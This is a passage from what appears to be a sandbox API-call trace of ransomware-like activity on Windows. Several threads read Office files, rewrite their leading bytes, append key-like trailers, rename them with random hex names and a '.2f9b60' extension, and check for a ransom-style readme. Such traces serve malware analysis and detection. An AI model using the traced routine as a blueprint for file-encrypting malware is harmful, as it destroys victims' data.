CurrentTime=0x3c6ff520 | out: CurrentTime=0x3c6ff520*=132462177660226000) returned 0x0 [0160.897] RtlRandomEx (in: Seed=0x3c6ff510 | out: Seed=0x3c6ff510) returned 0x171727f3 [0160.897] RtlRandomEx (in: Seed=0x3c6ff510 | out: Seed=0x3c6ff510) returned 0x1af26602 [0160.897] RtlRandomEx (in: Seed=0x3c6ff510 | out: Seed=0x3c6ff510) returned 0x7cd11f60 [0160.897] RtlRandomEx (in: Seed=0x3c6ff510 | out: Seed=0x3c6ff510) returned 0x1ddbd5b0 [0160.897] RtlRandomEx (in: Seed=0x3c6ff510 | out: Seed=0x3c6ff510) returned 0x5f907765 [0160.897] RtlRandomEx (in: Seed=0x3c6ff510 | out: Seed=0x3c6ff510) returned 0x7f91d67a [0160.897] RtlRandomEx (in: Seed=0x3c6ff510 | out: Seed=0x3c6ff510) returned 0x7d7c8260 [0160.897] RtlRandomEx (in: Seed=0x3c6ff510 | out: Seed=0x3c6ff510) returned 0x58457962 [0160.897] RtlRandomEx (in: Seed=0x3c6ff510 | out: Seed=0x3c6ff510) returned 0x3abe935b [0160.897] RtlRandomEx (in: Seed=0x3c6ff510 | out: Seed=0x3c6ff510) returned 0x39075d37 [0160.897] RtlRandomEx (in: Seed=0x3c6ff510 | out: Seed=0x3c6ff510) returned 0x7c18135d [0160.897] RtlRandomEx (in: Seed=0x3c6ff510 | out: Seed=0x3c6ff510) returned 0x63eebecd [0160.897] RtlRandomEx (in: Seed=0x3c6ff510 | out: Seed=0x3c6ff510) returned 0x12c54f08 [0160.897] RtlRandomEx (in: Seed=0x3c6ff510 | out: Seed=0x3c6ff510) returned 0x1f79bbc4 [0160.897] RtlRandomEx (in: Seed=0x3c6ff510 | out: Seed=0x3c6ff510) returned 0x73ac114e [0160.897] RtlRandomEx (in: Seed=0x3c6ff510 | out: Seed=0x3c6ff510) returned 0x212c8a90 [0160.897] RtlRandomEx (in: Seed=0x3c6ff510 | out: Seed=0x3c6ff510) returned 0x2ced0b8e [0160.897] RtlRandomEx (in: Seed=0x3c6ff510 | out: Seed=0x3c6ff510) returned 0x7936954b [0160.897] RtlRandomEx (in: Seed=0x3c6ff510 | out: Seed=0x3c6ff510) returned 0x4bb72de2 [0160.897] RtlRandomEx (in: Seed=0x3c6ff510 | out: Seed=0x3c6ff510) returned 0x78799c17 [0160.897] RtlRandomEx (in: Seed=0x3c6ff510 | out: Seed=0x3c6ff510) returned 0x5e99a355 [0160.897] RtlRandomEx (in: Seed=0x3c6ff510 | out: Seed=0x3c6ff510) returned 0x1040b054 [0160.897] RtlRandomEx (in: Seed=0x3c6ff510 | out: Seed=0x3c6ff510) returned 0x7357c3b8 [0160.898] RtlRandomEx (in: Seed=0x3c6ff510 | out: Seed=0x3c6ff510) returned 0x11fde3a6 [0160.898] RtlRandomEx (in: Seed=0x3c6ff510 | out: Seed=0x3c6ff510) returned 0x284f0184 [0160.898] RtlRandomEx (in: Seed=0x3c6ff510 | out: Seed=0x3c6ff510) returned 0x1843d9bf [0160.898] RtlRandomEx (in: Seed=0x3c6ff510 | out: Seed=0x3c6ff510) returned 0x4a3a7707 [0160.898] RtlRandomEx (in: Seed=0x3c6ff510 | out: Seed=0x3c6ff510) returned 0x144ba158 [0160.898] RtlRandomEx (in: Seed=0x3c6ff510 | out: Seed=0x3c6ff510) returned 0xd63104e [0160.898] RtlRandomEx (in: Seed=0x3c6ff510 | out: Seed=0x3c6ff510) returned 0x75091128 [0160.898] RtlRandomEx (in: Seed=0x3c6ff510 | out: Seed=0x3c6ff510) returned 0x4b3ab052 [0160.898] RtlRandomEx (in: Seed=0x3c6ff510 | out: Seed=0x3c6ff510) returned 0x36472c82 [0160.905] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a28d0 [0160.906] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e810 [0160.906] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2900 [0160.906] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e810) returned 1 [0160.906] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a28a0) returned 1 [0160.907] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2840) returned 1 [0160.907] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1ceed250 [0160.907] SetFilePointerEx (in: hFile=0x2828, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.907] ReadFile (in: hFile=0x2828, lpBuffer=0x1ceed250, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3c6ff580, lpOverlapped=0x0 | out: lpBuffer=0x1ceed250*, lpNumberOfBytesRead=0x3c6ff580*=0x3c00, lpOverlapped=0x0) returned 1 [0165.634] SetFilePointerEx (in: hFile=0x2828, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.634] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059240 [0165.634] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869c40 [0165.634] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff160 [0165.635] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff160) returned 1 [0165.635] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x425d0190 [0165.635] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff160 [0165.635] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff0a0 [0165.636] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff0a0) returned 1 [0165.636] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869c40) returned 1 [0165.636] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059240) returned 1 [0165.636] WriteFile (in: hFile=0x2828, lpBuffer=0x425d0190*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3c6ff580, lpOverlapped=0x0 | out: lpBuffer=0x425d0190*, lpNumberOfBytesWritten=0x3c6ff580*=0x3c00, lpOverlapped=0x0) returned 1 [0192.563] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x425d0190) returned 1 [0192.564] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceed250) returned 1 [0192.564] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x42c1e3f0 [0192.565] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97e40 [0192.565] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e2f0 [0192.565] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1e390 [0192.566] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1e390) returned 1 [0192.566] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x42c1e390 [0192.567] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1e3c0 [0192.567] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18150 [0192.568] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18150) returned 1 [0192.568] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e2f0) returned 1 [0192.569] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97e40) returned 1 [0192.569] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x100) returned 0x431a8d80 [0192.569] SetFilePointerEx (in: hFile=0x2828, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0192.569] WriteFile (in: hFile=0x2828, lpBuffer=0x431a8d80*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3c6ff630, lpOverlapped=0x0 | out: lpBuffer=0x431a8d80*, lpNumberOfBytesWritten=0x3c6ff630*=0x100, lpOverlapped=0x0) returned 1 [0215.868] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61560 [0215.868] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebbbe0 [0215.869] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b0d0 [0215.869] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b0d0) returned 1 [0215.869] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe) returned 0x1b82cfe0 [0215.870] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b0d0 [0215.870] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b0a0 [0215.871] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b0a0) returned 1 [0215.871] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebbbe0) returned 1 [0215.872] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61560) returned 1 [0215.872] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1d) returned 0x4205b0a0 [0215.872] sprintf (in: _Dest=0x4205b0a0, _Format="%c%c" | out: _Dest="db") returned 2 [0215.872] sprintf (in: _Dest=0x4205b0a2, _Format="%c%c" | out: _Dest="11") returned 2 [0215.872] sprintf (in: _Dest=0x4205b0a4, _Format="%c%c" | out: _Dest="ad") returned 2 [0215.872] sprintf (in: _Dest=0x4205b0a6, _Format="%c%c" | out: _Dest="72") returned 2 [0215.872] sprintf (in: _Dest=0x4205b0a8, _Format="%c%c" | out: _Dest="f2") returned 2 [0215.872] sprintf (in: _Dest=0x4205b0aa, _Format="%c%c" | out: _Dest="ae") returned 2 [0215.872] sprintf (in: _Dest=0x4205b0ac, _Format="%c%c" | out: _Dest="e1") returned 2 [0215.872] sprintf (in: _Dest=0x4205b0ae, _Format="%c%c" | out: _Dest="ca") returned 2 [0215.872] sprintf (in: _Dest=0x4205b0b0, _Format="%c%c" | out: _Dest="56") returned 2 [0215.872] sprintf (in: _Dest=0x4205b0b2, _Format="%c%c" | out: _Dest="7d") returned 2 [0215.872] sprintf (in: _Dest=0x4205b0b4, _Format="%c%c" | out: _Dest="37") returned 2 [0215.872] sprintf (in: _Dest=0x4205b0b6, _Format="%c%c" | out: _Dest="77") returned 2 [0215.872] sprintf (in: _Dest=0x4205b0b8, _Format="%c%c" | out: _Dest="89") returned 2 [0215.872] sprintf (in: _Dest=0x4205b0ba, _Format="%c%c" | out: _Dest="85") returned 2 [0215.872] RtlInitAnsiString (in: DestinationString=0x3c6ff6a8, SourceString="db11ad72f2aee1ca567d37778985" | out: DestinationString="db11ad72f2aee1ca567d37778985") [0215.872] RtlAnsiStringToUnicodeString (in: DestinationString=0x3c6ff678, SourceString="db11ad72f2aee1ca567d37778985", AllocateDestinationString=1 | out: DestinationString="db11ad72f2aee1ca567d37778985") returned 0x0 [0215.872] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3a) returned 0x1ce61600 [0215.873] wcscat (in: _Dest=0x43188900, _Source="db11ad7" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\db11ad7") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\db11ad7" [0215.873] wcscat (in: _Dest=0x43188900, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\db11ad7.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\db11ad7.2f9b60" [0215.873] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\db11ad7.2f9b60", NtPathName=0x3c6ff650, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\db11ad7.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0215.873] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb6) returned 0x4312aae0 [0225.531] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4312aae0) returned 1 [0225.531] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431b12e0) returned 1 [0225.531] NtQueryInformationFile (in: FileHandle=0x2828, IoStatusBlock=0x3c6ff6b8, FileInformation=0x3c6ff6c8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3c6ff6b8, FileInformation=0x3c6ff6c8) returned 0x0 [0225.531] NtSetInformationFile (FileHandle=0x2828, IoStatusBlock=0x3c6ff6b8, FileInformation=0x3c6ff6c8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0225.948] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43188900) returned 1 [0225.949] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61600) returned 1 [0225.949] FlushFileBuffers (hFile=0x2828) returned 1 [0226.110] CloseHandle (hObject=0x2828) returned 1 [0226.414] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x431f4d50 [0226.414] wcscpy (in: _Dest=0x431f4d50, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\" [0226.414] wcscat (in: _Dest=0x431f4d50, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\2F9B60-Readme.txt" [0226.414] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\sort\\2f9b60-readme.txt")) returned 0x20 [0226.771] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f4d50) returned 1 [0226.771] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205d870) returned 1 Thread: id = 2704 os_tid = 0x22ac [0157.743] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\TITLE.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\sort\\title.xsl")) returned 0x20 [0159.536] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\TITLE.XSL", dwFileAttributes=0x20) returned 1 [0159.599] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\TITLE.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\sort\\title.xsl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x282c [0159.616] GetFileSizeEx (in: hFile=0x282c, lpFileSize=0x3cebfc00 | out: lpFileSize=0x3cebfc00*=35902) returned 1 [0159.616] SetFilePointerEx (in: hFile=0x282c, liDistanceToMove=0x8c3a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.617] ReadFile (in: hFile=0x282c, lpBuffer=0x3cebfb80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3cebfbc8, lpOverlapped=0x0 | out: lpBuffer=0x3cebfb80*, lpNumberOfBytesRead=0x3cebfbc8*=0x4, lpOverlapped=0x0) returned 1 [0165.226] SetFilePointerEx (in: hFile=0x282c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.226] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced69f0 [0165.226] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7fe0 [0165.227] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced71d0 [0165.227] NtQuerySystemTime (in: CurrentTime=0x3cebfac0 | out: CurrentTime=0x3cebfac0*=132462177703594000) returned 0x0 [0165.227] RtlRandomEx (in: Seed=0x3cebfab0 | out: Seed=0x3cebfab0) returned 0x4b40ddb1 [0165.227] RtlRandomEx (in: Seed=0x3cebfab0 | out: Seed=0x3cebfab0) returned 0x17afa3f1 [0165.227] RtlRandomEx (in: Seed=0x3cebfab0 | out: Seed=0x3cebfab0) returned 0x72298ffc [0165.227] RtlRandomEx (in: Seed=0x3cebfab0 | out: Seed=0x3cebfab0) returned 0x5dc6a021 [0165.227] RtlRandomEx (in: Seed=0x3cebfab0 | out: Seed=0x3cebfab0) returned 0xbbf0862 [0165.227] RtlRandomEx (in: Seed=0x3cebfab0 | out: Seed=0x3cebfab0) returned 0x2b0fb793 [0165.227] RtlRandomEx (in: Seed=0x3cebfab0 | out: Seed=0x3cebfab0) returned 0x3ebb7320 [0165.227] RtlRandomEx (in: Seed=0x3cebfab0 | out: Seed=0x3cebfab0) returned 0x735442d2 [0165.227] RtlRandomEx (in: Seed=0x3cebfab0 | out: Seed=0x3cebfab0) returned 0x1938f4cf [0165.227] RtlRandomEx (in: Seed=0x3cebfab0 | out: Seed=0x3cebfab0) returned 0x579862e4 [0165.227] RtlRandomEx (in: Seed=0x3cebfab0 | out: Seed=0x3cebfab0) returned 0x179ac825 [0165.227] RtlRandomEx (in: Seed=0x3cebfab0 | out: Seed=0x3cebfab0) returned 0x6808bd64 [0165.227] RtlRandomEx (in: Seed=0x3cebfab0 | out: Seed=0x3cebfab0) returned 0x1dd600ab [0165.227] RtlRandomEx (in: Seed=0x3cebfab0 | out: Seed=0x3cebfab0) returned 0x1d5fb73f [0165.227] RtlRandomEx (in: Seed=0x3cebfab0 | out: Seed=0x3cebfab0) returned 0x4599a0ff [0165.227] RtlRandomEx (in: Seed=0x3cebfab0 | out: Seed=0x3cebfab0) returned 0x7913dffb [0165.227] RtlRandomEx (in: Seed=0x3cebfab0 | out: Seed=0x3cebfab0) returned 0x6b6f77fc [0165.227] RtlRandomEx (in: Seed=0x3cebfab0 | out: Seed=0x3cebfab0) returned 0x55a678ce [0165.227] RtlRandomEx (in: Seed=0x3cebfab0 | out: Seed=0x3cebfab0) returned 0xdb0a048 [0165.227] RtlRandomEx (in: Seed=0x3cebfab0 | out: Seed=0x3cebfab0) returned 0x42d8dcb3 [0165.227] RtlRandomEx (in: Seed=0x3cebfab0 | out: Seed=0x3cebfab0) returned 0x61a8fbe1 [0165.227] RtlRandomEx (in: Seed=0x3cebfab0 | out: Seed=0x3cebfab0) returned 0x6fe66fee [0165.227] RtlRandomEx (in: Seed=0x3cebfab0 | out: Seed=0x3cebfab0) returned 0x40e0229f [0165.227] RtlRandomEx (in: Seed=0x3cebfab0 | out: Seed=0x3cebfab0) returned 0x6bcf23fc [0165.227] RtlRandomEx (in: Seed=0x3cebfab0 | out: Seed=0x3cebfab0) returned 0x3e2b0c9a [0165.228] RtlRandomEx (in: Seed=0x3cebfab0 | out: Seed=0x3cebfab0) returned 0x3dd10053 [0165.228] RtlRandomEx (in: Seed=0x3cebfab0 | out: Seed=0x3cebfab0) returned 0x3b4898ab [0165.228] RtlRandomEx (in: Seed=0x3cebfab0 | out: Seed=0x3cebfab0) returned 0x54e543b5 [0165.228] RtlRandomEx (in: Seed=0x3cebfab0 | out: Seed=0x3cebfab0) returned 0x7cca3c34 [0165.228] RtlRandomEx (in: Seed=0x3cebfab0 | out: Seed=0x3cebfab0) returned 0x372a17e3 [0165.228] RtlRandomEx (in: Seed=0x3cebfab0 | out: Seed=0x3cebfab0) returned 0x20f91ce7 [0165.228] RtlRandomEx (in: Seed=0x3cebfab0 | out: Seed=0x3cebfab0) returned 0x286d6375 [0165.238] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8250 [0165.239] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869640 [0165.239] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6d80 [0165.240] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869640) returned 1 [0165.240] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced71d0) returned 1 [0165.240] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced69f0) returned 1 [0165.240] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201df0f0 [0165.241] SetFilePointerEx (in: hFile=0x282c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.241] ReadFile (in: hFile=0x282c, lpBuffer=0x201df0f0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3cebfb20, lpOverlapped=0x0 | out: lpBuffer=0x201df0f0*, lpNumberOfBytesRead=0x3cebfb20*=0x3c00, lpOverlapped=0x0) returned 1 [0165.836] SetFilePointerEx (in: hFile=0x282c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.836] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420591f0 [0165.836] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8696c0 [0165.837] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19f20 [0165.837] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19f20) returned 1 [0165.837] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x429e9e90 [0165.838] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19f20 [0165.838] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19e30 [0165.838] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19e30) returned 1 [0165.838] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8696c0) returned 1 [0165.839] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420591f0) returned 1 [0165.839] WriteFile (in: hFile=0x282c, lpBuffer=0x429e9e90*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3cebfb20, lpOverlapped=0x0 | out: lpBuffer=0x429e9e90*, lpNumberOfBytesWritten=0x3cebfb20*=0x3c00, lpOverlapped=0x0) returned 1 [0204.767] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x429e9e90) returned 1 [0204.768] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201df0f0) returned 1 [0204.768] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8100 [0204.768] SetFilePointerEx (in: hFile=0x282c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0204.768] WriteFile (in: hFile=0x282c, lpBuffer=0x431a9c60*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x3cebfbd0, lpOverlapped=0x0 | out: lpBuffer=0x431a9c60*, lpNumberOfBytesWritten=0x3cebfbd0*=0x104, lpOverlapped=0x0) returned 1 [0215.821] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bf20 [0215.822] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebbb60 [0215.822] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6350 [0215.823] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6350) returned 1 [0215.823] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x1b82cfe0 [0215.823] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6350 [0215.823] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7340 [0215.824] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7340) returned 1 [0215.825] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebbb60) returned 1 [0215.825] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bf20) returned 1 [0215.825] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x25) returned 0x202a7340 [0215.825] sprintf (in: _Dest=0x202a7340, _Format="%c%c" | out: _Dest="01") returned 2 [0215.825] sprintf (in: _Dest=0x202a7342, _Format="%c%c" | out: _Dest="47") returned 2 [0215.825] sprintf (in: _Dest=0x202a7344, _Format="%c%c" | out: _Dest="9e") returned 2 [0215.825] sprintf (in: _Dest=0x202a7346, _Format="%c%c" | out: _Dest="cc") returned 2 [0215.825] sprintf (in: _Dest=0x202a7348, _Format="%c%c" | out: _Dest="5a") returned 2 [0215.825] sprintf (in: _Dest=0x202a734a, _Format="%c%c" | out: _Dest="64") returned 2 [0215.826] sprintf (in: _Dest=0x202a734c, _Format="%c%c" | out: _Dest="d1") returned 2 [0215.826] sprintf (in: _Dest=0x202a734e, _Format="%c%c" | out: _Dest="06") returned 2 [0215.826] sprintf (in: _Dest=0x202a7350, _Format="%c%c" | out: _Dest="ba") returned 2 [0215.826] sprintf (in: _Dest=0x202a7352, _Format="%c%c" | out: _Dest="07") returned 2 [0215.826] sprintf (in: _Dest=0x202a7354, _Format="%c%c" | out: _Dest="56") returned 2 [0215.826] sprintf (in: _Dest=0x202a7356, _Format="%c%c" | out: _Dest="09") returned 2 [0215.826] sprintf (in: _Dest=0x202a7358, _Format="%c%c" | out: _Dest="30") returned 2 [0215.826] sprintf (in: _Dest=0x202a735a, _Format="%c%c" | out: _Dest="09") returned 2 [0215.826] sprintf (in: _Dest=0x202a735c, _Format="%c%c" | out: _Dest="d0") returned 2 [0215.826] sprintf (in: _Dest=0x202a735e, _Format="%c%c" | out: _Dest="42") returned 2 [0215.826] sprintf (in: _Dest=0x202a7360, _Format="%c%c" | out: _Dest="7b") returned 2 [0215.826] sprintf (in: _Dest=0x202a7362, _Format="%c%c" | out: _Dest="d3") returned 2 [0215.826] RtlInitAnsiString (in: DestinationString=0x3cebfc48, SourceString="01479ecc5a64d106ba0756093009d0427bd3" | out: DestinationString="01479ecc5a64d106ba0756093009d0427bd3") [0215.826] RtlAnsiStringToUnicodeString (in: DestinationString=0x3cebfc18, SourceString="01479ecc5a64d106ba0756093009d0427bd3", AllocateDestinationString=1 | out: DestinationString="01479ecc5a64d106ba0756093009d0427bd3") returned 0x0 [0215.826] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x431f97e0 [0215.827] wcscat (in: _Dest=0x1ce17160, _Source="01479ecc5" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\01479ecc5") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\01479ecc5" [0215.827] wcscat (in: _Dest=0x1ce17160, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\01479ecc5.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\01479ecc5.2f9b60" [0215.827] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\01479ecc5.2f9b60", NtPathName=0x3cebfbf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\01479ecc5.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0215.827] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xba) returned 0x4310ae70 [0225.598] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4310ae70) returned 1 [0225.599] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431b5250) returned 1 [0225.599] NtQueryInformationFile (in: FileHandle=0x282c, IoStatusBlock=0x3cebfc58, FileInformation=0x3cebfc68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3cebfc58, FileInformation=0x3cebfc68) returned 0x0 [0225.599] NtSetInformationFile (FileHandle=0x282c, 